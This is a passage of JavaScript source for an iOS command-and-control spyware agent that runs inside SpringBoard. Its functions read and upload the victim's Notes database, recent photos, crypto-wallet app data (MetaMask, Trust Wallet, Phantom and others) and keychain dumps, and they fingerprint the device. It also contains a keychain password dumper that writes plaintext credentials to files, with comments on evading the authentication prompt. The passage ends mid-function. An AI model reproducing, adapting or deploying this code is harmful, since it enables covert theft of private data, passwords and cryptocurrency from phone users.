Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_scan\"\n\t}, \"wallet_pkg.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Device Identity (obtained natively - no placeholder needed)\n// ============================================================================\n\nfunction _getDeviceUUID() {\n\ttry {\n\t\t// IOKit IOPlatformUUID (same method as file_downloader)\n\t\tconst iokitHandle = Native.callSymbol(\"dlopen\",\n\t\t\t\"/System/Library/Frameworks/IOKit.framework/IOKit\", 1);\n\t\tif (iokitHandle && iokitHandle !== 0n) {\n\t\t\tNative.callSymbol(\"dlopen\",\n\t\t\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\t\t\tconst svcName = Native.callSymbol(\"malloc\", 32);\n\t\t\tNative.writeString(svcName, \"IOPlatformExpertDevice\");\n\t\t\tconst matchDict = Native.callSymbol(\"IOServiceMatching\", svcName);\n\t\t\tNative.callSymbol(\"free\", svcName);\n\n\t\t\tif (matchDict && matchDict !== 0n) {\n\t\t\t\tconst expert = Native.callSymbol(\"IOServiceGetMatchingService\", 0n, matchDict);\n\t\t\t\tif (expert && expert !== 0n) {\n\t\t\t\t\tconst keyBuf = Native.callSymbol(\"malloc\", 32);\n\t\t\t\t\tNative.writeString(keyBuf, \"IOPlatformUUID\");\n\t\t\t\t\tconst keyCF = Native.callSymbol(\"CFStringCreateWithCString\",\n\t\t\t\t\t\t0n, keyBuf, 0x08000100);\n\t\t\t\t\tNative.callSymbol(\"free\", keyBuf);\n\n\t\t\t\t\tif (keyCF && keyCF !== 0n) {\n\t\t\t\t\t\tconst valCF = Native.callSymbol(\"IORegistryEntryCreateCFProperty\",\n\t\t\t\t\t\t\texpert, keyCF, 0n, 0n);\n\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", keyCF);\n\n\t\t\t\t\t\tif (valCF && valCF !== 0n) {\n\t\t\t\t\t\t\tlet uuid = \"\";\n\t\t\t\t\t\t\tconst cstr = Native.callSymbol(\"CFStringGetCStringPtr\",\n\t\t\t\t\t\t\t\tvalCF, 0x08000100);\n\t\t\t\t\t\t\tif (cstr && cstr !== 0n) {\n\t\t\t\t\t\t\t\tuuid = Native.readString(cstr, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!uuid) {\n\t\t\t\t\t\t\t\tconst tmp = Native.callSymbol(\"malloc\", 256);\n\t\t\t\t\t\t\t\tif (tmp && tmp !== 0n) {\n\t\t\t\t\t\t\t\t\tif (Native.callSymbol(\"CFStringGetCString\",\n\t\t\t\t\t\t\t\t\t\tvalCF, tmp, 256, 0x08000100))\n\t\t\t\t\t\t\t\t\t\tuuid = Native.readString(tmp, 256).replace(/\\0/g, \"\").trim();\n\t\t\t\t\t\t\t\t\tNative.callSymbol(\"free\", tmp);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tNative.callSymbol(\"CFRelease\", valCF);\n\t\t\t\t\t\t\tif (uuid && uuid.length > 0) {\n\t\t\t\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t\t\t\t\treturn uuid;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tNative.callSymbol(\"IOObjectRelease\", expert);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (e) {}\n\n\t// Fallback: sysctl HW_UUID\n\ttry {\n\t\tconst mib = Native.callSymbol(\"malloc\", 8);\n\t\tconst res = Native.callSymbol(\"malloc\", 256);\n\t\tconst slen = Native.callSymbol(\"malloc\", 8);\n\t\tif (!mib || !res || !slen) return \"\";\n\t\ttry {\n\t\t\tconst mibAB = new ArrayBuffer(8);\n\t\t\tconst mv = new DataView(mibAB);\n\t\t\tmv.setInt32(0, 6, true);\n\t\t\tmv.setInt32(4, 25, true);\n\t\t\tNative.write(mib, mibAB);\n\n\t\t\tconst slAB = new ArrayBuffer(8);\n\t\t\tnew DataView(slAB).setUint32(0, 256, true);\n\t\t\tNative.write(slen, slAB);\n\n\t\t\tlet r = Native.callSymbol(\"sysctl\", mib, 2, 0n, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst ld = Native.read(slen, 8);\n\t\t\tconst sz = new DataView(ld).getUint32(0, true);\n\t\t\tif (sz <= 0 || sz > 256) return \"\";\n\n\t\t\tconst sl2 = new ArrayBuffer(8);\n\t\t\tnew DataView(sl2).setUint32(0, sz, true);\n\t\t\tNative.write(slen, sl2);\n\n\t\t\tr = Native.callSymbol(\"sysctl\", mib, 2, res, slen, 0n, 0);\n\t\t\tif (r !== 0) return \"\";\n\n\t\t\tconst raw = new Uint8Array(Native.read(res, sz));\n\t\t\tlet uuid = \"\";\n\t\t\tfor (let i = 0; i < raw.length; i++) {\n\t\t\t\tif (!raw[i]) break;\n\t\t\t\tif (raw[i] >= 32 && raw[i] <= 126) uuid += String.fromCharCode(raw[i]);\n\t\t\t}\n\t\t\tuuid = uuid.trim();\n\t\t\tif (uuid.length > 0) return uuid;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", mib);\n\t\t\tNative.callSymbol(\"free\", res);\n\t\t\tNative.callSymbol(\"free\", slen);\n\t\t}\n\t} catch (e) {}\n\n\treturn \"\";\n}\n\nfunction _getDeviceModel() {\n\tconst uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return \"\";\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\treturn Native.readString(uts + 1024n, 256).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\n// ============================================================================\n// SecItem Keychain Dump (SpringBoard SecItemCopyMatching — genp/inet plaintext)\n// mediaplaybackd is write-only on /tmp (selfProbe e18): P7 sqlite there can\n// never read keychain-2.db. SpringBoard has file access + keychain entitlement,\n// so dump v_Data plaintext here via Security framework instead.\n// ============================================================================\n\nvar _SEC_DUMP_FULL = \"/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_FULL_ALT = \"/private/var/tmp/keychain_full_dump.txt\";\nvar _SEC_DUMP_READ = \"/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_READ_ALT = \"/private/var/tmp/keychain_passwords_readable.txt\";\nvar _SEC_DUMP_DONE = \"/tmp/keychain_full_dump.done\";\nvar _secDumpState = { lastRun: 0, items: 0, plain: 0, vdata: 0 };\n\nfunction _secCFStr(str) { return Native.callSymbol(\"CFStringCreateWithCString\", 0n, str, 0x08000100); }\n\nfunction _secCFToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return \"\";\n\tconst cstrPtr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstrPtr && cstrPtr !== 0n) return Native.readString(cstrPtr, 256).replace(/\\0/g, '');\n\tconst buf = Native.callSymbol(\"malloc\", 512n);\n\tif (!buf || buf === 0n) return \"\";\n\ttry {\n\t\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 512, 0x08000100))\n\t\t\treturn Native.readString(buf, 512).replace(/\\0/g, '');\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn \"\";\n}\n\nfunction _secCFDataToText(cfData) {\n\tif (!cfData || cfData === 0n) return \"\";\n\tconst length = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (length <= 0 || length > 8192) return \"[data:\" + length + \" bytes]\";\n\tconst dataPtr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!dataPtr || dataPtr === 0n) return \"\";\n\tconst bytes = new Uint8Array(Native.read(dataPtr, length));\n\tlet printable = 0;\n\tlet text = \"\";\n\tfor (let i = 0; i < bytes.length; i++) {\n\t\tconst b = bytes[i];\n\t\tif (b === 0) { text = \"\"; printable = 0; break; }\n\t\tif (b === 9 || b === 10 || b === 13 || (b >= 32 && b <= 126)) {\n\t\t\tprintable++;\n\t\t\ttext += String.fromCharCode(b);\n\t\t} else { text = \"\"; printable = 0; break; }\n\t}\n\tif (text && printable === bytes.length && printable >= 1) return text;\n\tlet hex = \"\";\n\tfor (let j = 0; j < Math.min(bytes.length, 128); j++)\n\t\thex += bytes[j].toString(16).padStart(2, \"0\");\n\tif (bytes.length > 128) hex += \"...\";\n\treturn \"[hex] \" + hex;\n}\n\nfunction _secCFTrue() {\n\tconst addr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFBooleanTrue\");\n\treturn addr ? Native.readPtr(addr) : 0n;\n}\n\nfunction _secWriteText(path, content) {\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0x601, 0x1FF));\n\tif (fd < 0) return false;\n\tconst bytes = Native.stringToBytes(content, false);\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(bytes.byteLength));\n\tif (buf && buf !== 0n) {\n\t\tNative.write(buf, bytes);\n\t\tNative.callSymbol(\"write\", fd, buf, bytes.byteLength);\n\t\tNative.callSymbol(\"free\", buf);\n\t}\n\tNative.callSymbol(\"chmod\", path, 0x1FF);\n\tNative.callSymbol(\"close\", fd);\n\treturn true;\n}\n\n// genp+inet only — keys/cert hang SecItemCopyMatching; idnt self-XPC hangs (lab 7022).\nvar _SEC_CLASSES = [\n\t{ id: \"genp\", label: \"Generic Password\" },\n\t{ id: \"inet\", label: \"Internet Password\" },\n];\nvar _SEC_ATTR_KEYS = [\"svce\", \"acct\", \"agrp\", \"labl\", \"desc\", \"mdat\", \"cdat\", \"pdmn\", \"sync\", \"v_Data\"];\n\nfunction _secDumpClass(classId, classLabel, wantData) {\n\t// fix #3c DISABLED - confirmed source of the SpringBoard password prompt.\n\t// On iOS 18.6 AFU unlocked, SecItemCopyMatching from inside SpringBoard\n\t// prompts for auth even with u_AuthUI=u_AuthUISkip; the skip is only\n\t// honored in BFU locked where it returns -25300 and yields no data anyway.\n\t// Prompt fires concurrent with SEC-DUMP begin / PEMK-D1 (c2_agent startup\n\t// _kcSecItemDump true at line 4824). Keychain plaintext now comes exclusively\n\t// from the Phase 2 sqlite pipeline (keychain-2.db + AKS unwrap). SEC-DUMP\n\t// kept as no-op so _kcSecItemDump still logs begin/items=0 without prompting.\n\t_secDumpState[\"st_\" + classId] = -25300;\n\treturn [];\n\tconst entries = [];\n\tconst kCFBooleanTrue = _secCFTrue();\n\tconst queryDict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 0, 0n, 0n);\n\tif (!queryDict || queryDict === 0n) return entries;\n\n\tconst kSecClass = _secCFStr(\"class\");\n\tconst kSecClassVal = _secCFStr(classId);\n\tconst kSecReturnAttributes = _secCFStr(\"r_Attributes\");\n\tconst kSecReturnData = _secCFStr(\"r_Data\");\n\tconst kSecMatchLimit = _secCFStr(\"m_Limit\");\n\tconst kSecMatchLimitAll = _secCFStr(\"m_LimitAll\");\n\tconst kSecUseAuthenticationUI = _secCFStr(\"u_AuthUI\");\n\t// Apple's real values: u_AuthUIAllow / u_AuthUIFail / u_AuthUISkip.\n\t// \"u_AuthUIF\" (truncated, inherited from keychain_dumper) is INVALID and\n\t// degrades to \"allow\" — securityd then requests auth UI from SpringBoard,\n\t// which is us: self-XPC deadlock on locked devices (killed all heartbeats).\n\t// SKIP silently skips auth-protected items: no UI, no block, no query error.\n\tconst kSecUseAuthenticationUIFail = _secCFStr(\"u_AuthUISkip\");\n\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecClass, kSecClassVal);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnAttributes, kCFBooleanTrue);\n\tif (wantData) Native.callSymbol(\"CFDictionarySetValue\", queryDict, kSecReturnData, kCFBooleanTrue);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecMatchLimit, kSecMatchLimitAll);\n\tNative.callSymbol(\"CFDictionarySetValue\", queryDict, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail);\n\n\tconst resultPtr = Native.callSymbol(\"malloc\", 8n);\n\tif (resultPtr && resultPtr !== 0n) {\n\t\tNative.write64(resultPtr, 0n);\n\t\tconst status = Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr);\n\t\tconst signed = Number(status) > 0x7FFFFFFF ? Number(status) - 0x100000000 : Number(status);\n\t\tif (signed !== 0) _secDumpState[\"st_\" + classId] = signed;\n\t\tif (signed === 0) {\n\t\t\tconst results = Native.readPtr(resultPtr);\n\t\t\tif (results && results !== 0n) {\n\t\t\t\tconst arrayTypeId = Native.callSymbol(\"CFArrayGetTypeID\");\n\t\t\t\tconst dictTypeId = Native.callSymbol(\"CFDictionaryGetTypeID\");\n\t\t\t\tconst typeId = Native.callSymbol(\"CFGetTypeID\", results);\n\t\t\t\tconst items = [];\n\t\t\t\tif (typeId === arrayTypeId) {\n\t\t\t\t\tconst count = Number(Native.callSymbol(\"CFArrayGetCount\", results));\n\t\t\t\t\tfor (let i = 0; i < count; i++)\n\t\t\t\t\t\titems.push(Native.callSymbol(\"CFArrayGetValueAtIndex\", results, i));\n\t\t\t\t} else if (typeId === dictTypeId) {\n\t\t\t\t\titems.push(results);\n\t\t\t\t}\n\t\t\t\tfor (const item of items) {\n\t\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\t\tconst rec = { class: classLabel, classId: classId };\n\t\t\t\t\tif (!wantData) rec.attrs_only = true;\n\t\t\t\t\tfor (const key of _SEC_ATTR_KEYS) {\n\t\t\t\t\t\tif (!wantData && key === \"v_Data\") continue;\n\t\t\t\t\t\tconst keyRef = _secCFStr(key);\n\t\t\t\t\t\tconst valRef = Native.callSymbol(\"CFDictionaryGetValue\", item, keyRef);\n\t\t\t\t\t\tif (keyRef && keyRef !== 0n) Native.callSymbol(\"CFRelease\", keyRef);\n\t\t\t\t\t\tif (!valRef || valRef === 0n) continue;\n\t\t\t\t\t\tif (key === \"v_Data\") rec.data = _secCFDataToText(valRef);\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconst s = _secCFToJS(valRef);\n\t\t\t\t\t\t\tif (s) rec[key] = s;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tentries.push(rec);\n\t\t\t\t}\n\t\t\t\tif (typeId === arrayTypeId || typeId === dictTypeId)\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", results);\n\t\t\t}\n\t\t}\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t}\n\n\tconst _refs = [kSecClass, kSecClassVal, kSecReturnAttributes, kSecReturnData, kSecMatchLimit,\n\t\tkSecMatchLimitAll, kSecUseAuthenticationUI, kSecUseAuthenticationUIFail];\n\tfor (let ri = 0; ri < _refs.length; ri++) {\n\t\tif (_refs[ri] && _refs[ri] !== 0n) Native.callSymbol(\"CFRelease\", _refs[ri]);\n\t}\n\tNative.callSymbol(\"CFRelease\", queryDict);\n\treturn entries;\n}\n\nfunction _secWriteDump(allEntries) {\n\tlet content = \"=== Full Keychain Dump ===\\n\";\n\tcontent += \"Generated: \" + new Date().toISOString() + \"\\n\";\n\tcontent += \"Host: SpringBoard c2_agent (SecItem + v_Data; skip keys/cert/idnt)\\n\";\n\tcontent += \"Total items: \" + allEntries.length + \"\\n\\n\";\n\tlet readable = \"=== Keychain Passwords (readable) ===\\n\";\n\treadable += \"Generated: \" + new Date().toISOString() + \"\\n\\n\";\n\tlet plainCount = 0;\n\tlet withData = 0;\n\tfor (const e of allEntries) {\n\t\tcontent += \"[\" + e.class + \"]\\n\";\n\t\tconst ks = Object.keys(e);\n\t\tfor (let ki = 0; ki < ks.length; ki++) {\n\t\t\tconst k = ks[ki];\n\t\t\tif (k === \"class\" || k === \"classId\") continue;\n\t\t\tcontent += \" \" + k + \": \" + e[k] + \"\\n\";\n\t\t}\n\t\tcontent += \"\\n\";\n\t\tconst data = e.data || \"\";\n\t\tif (data) withData++;\n\t\tconst isPlain = data && data.indexOf(\"[hex]\") !== 0 && data.indexOf(\"[data:\") !== 0;\n\t\tif (isPlain && (e.classId === \"genp\" || e.classId === \"inet\")) {\n\t\t\tplainCount++;\n\t\t\treadable += \"[\" + e.class + \"]\\n\";\n\t\t\tif (e.agrp) readable += \" agrp: \" + e.agrp + \"\\n\";\n\t\t\tif (e.svce) readable += \" svce: \" + e.svce + \"\\n\";\n\t\t\tif (e.acct) readable += \" acct: \" + e.acct + \"\\n\";\n\t\t\tif (e.labl) readable += \" labl: \" + e.labl + \"\\n\";\n\t\t\treadable += \" password: \" + data + \"\\n\\n\";\n\t\t}\n\t}\n\treadable += \"Plaintext password items: \" + plainCount + \"\\n\";\n\treadable += \"Items with v_Data field: \" + withData + \"\\n\";\n\n\t_secWriteText(_SEC_DUMP_FULL, content);\n\t_secWriteText(_SEC_DUMP_FULL_ALT, content);\n\t_secWriteText(_SEC_DUMP_READ, readable);\n\t_secWriteText(_SEC_DUMP_READ_ALT, readable);\n\t_secWriteText(_SEC_DUMP_DONE, \"items=\" + allEntries.length + \" plain=\" + plainCount + \" vdata=\" + withData + \"\\n\");\n\treturn { items: allEntries.length, plain: plainCount, vdata: withData };\n}\n\nfunction _kcSecItemDump(force) {\n\tconst now = Date.now();\n\tif (!force && _secDumpState.lastRun && (now - _secDumpState.lastRun) < 45000)\n\t\treturn _secDumpState;\n\t_secDumpState.lastRun = now;\n\t_writeLog(\"[SEC-DUMP] begin force=\" + (!!force) + \" classes=\" + _SEC_CLASSES.length);\n\tconst all = [];\n\tfor (let ci = 0; ci < _SEC_CLASSES.length; ci++) {\n\t\tconst cls = _SEC_CLASSES[ci];\n\t\ttry {\n\t\t\tlet items = _secDumpClass(cls.id, cls.label, true);\n\t\t\tif (!items.length) items = _secDumpClass(cls.id, cls.label, false);\n\t\t\tfor (let ii = 0; ii < items.length; ii++) all.push(items[ii]);\n\t\t} catch (_clse) {\n\t\t\t_secDumpState[\"err_\" + cls.id] = String(_clse).substring(0, 60);\n\t\t}\n\t}\n\tconst st = _secWriteDump(all);\n\t_secDumpState.items = st.items;\n\t_secDumpState.plain = st.plain;\n\t_secDumpState.vdata = st.vdata;\n\t_writeLog(\"[SEC-DUMP] items=\" + st.items + \" plain=\" + st.plain + \" vdata=\" + st.vdata +\n\t\t\" st_genp=\" + (_secDumpState.st_genp || 0) + \" st_inet=\" + (_secDumpState.st_inet || 0));\n\tif (st.plain > 0) {\n\t\t// Let the P7-era HQ gate observe a completed keychain.\n\t\t_secWriteText(\"/tmp/keychain_c2_dump.done\", \"secitem plain=\" + st.plain + \" ts=\" + now + \"\\n\");\n\t}\n\treturn _secDumpState;\n}\n\n// ============================================================================\n// HQ Wallet Package Builder\n// ============================================================================\n\nvar _hqSandboxKeyMap = {\n\t\"Trust Wallet\": \"trust_wallet\", \"Bitget\": \"bitget\", \"Coin98\": \"coin98\",\n\t\"TronLink\": \"tronlink\", \"Tonhub\": \"tonhub\", \"TokenPocket\": \"tokenpocket\",\n\t\"imToken\": \"imtoken\", \"MetaMask\": \"metamask\", \"OKX\": \"okx\",\n\t\"Solflare\": \"solflare\", \"Phantom\": \"phantom\", \"Bitpie\": \"bitpie\",\n\t\"Uniswap\": \"uniswap\", \"MyTonWallet\": \"mytonwallet\", \"Exodus\": \"exodus\",\n\t\"Tonkeeper\": \"tonkeeper\", \"Coinbase\": \"coinbase\"\n};\n\nfunction _buildWalletPkg(deviceUUID) {\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tvar kcData = _readFileBytes(kcDumpPath, 5242880);\n\tif (!kcData) {\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_c2_dump.json.tmp\", 0x1A4);\n\t\tNative.callSymbol(\"rename\", \"/tmp/keychain_c2_dump.json.tmp\", 